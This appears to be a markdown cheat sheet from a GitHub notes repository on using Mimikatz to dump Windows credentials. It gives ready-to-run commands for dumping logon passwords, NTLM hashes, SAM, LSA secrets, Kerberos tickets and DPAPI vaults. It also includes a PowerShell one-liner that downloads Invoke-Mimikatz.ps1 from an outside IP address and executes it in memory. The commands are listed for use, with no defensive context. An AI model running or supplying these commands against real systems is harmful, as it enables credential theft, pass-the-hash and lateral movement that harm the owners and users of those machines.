Skip to content

Latest commit

 

History

History
41 lines (28 loc) · 1.4 KB

File metadata and controls

41 lines (28 loc) · 1.4 KB

Mimikatz

Can build from here https://github.com/gentilkiwi/mimikatz/releases

  • After unzipping run mimikatz.exe on cmd
  • one-liner:
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
  • privilege::debug should result

  • sekurlsa::logonpasswords or sekurlsa::msv gives ntlm hashes for passwords which can be passed around and also cleartext passwords sometimes
  • lsadump::lsa /inject to get lsa passwords
  • lsadump::sam or lsadump::sam /patch to dump SAM hashes
  • To dump lsa secrets: lsadump::secrets
  • lsadump::lsa /patch dumps local security authority logon sessions

  • To get tickets sekurlsa::tickets /export
  • DPAPI: Invoke-Mimikatz -Command '"vault::list"'
  • ntds.dit file can be downloaded too
  • golden-ticket-attacks.md are also possible

Powershell

Use Nishang Invoke-Mimikatz.ps1

iex (iwr -UseBasicParsing http://10.11.103.226/Invoke-Mimikatz.ps1)

Do this

Invoke-Mimikatz -Command '"token::elevate"'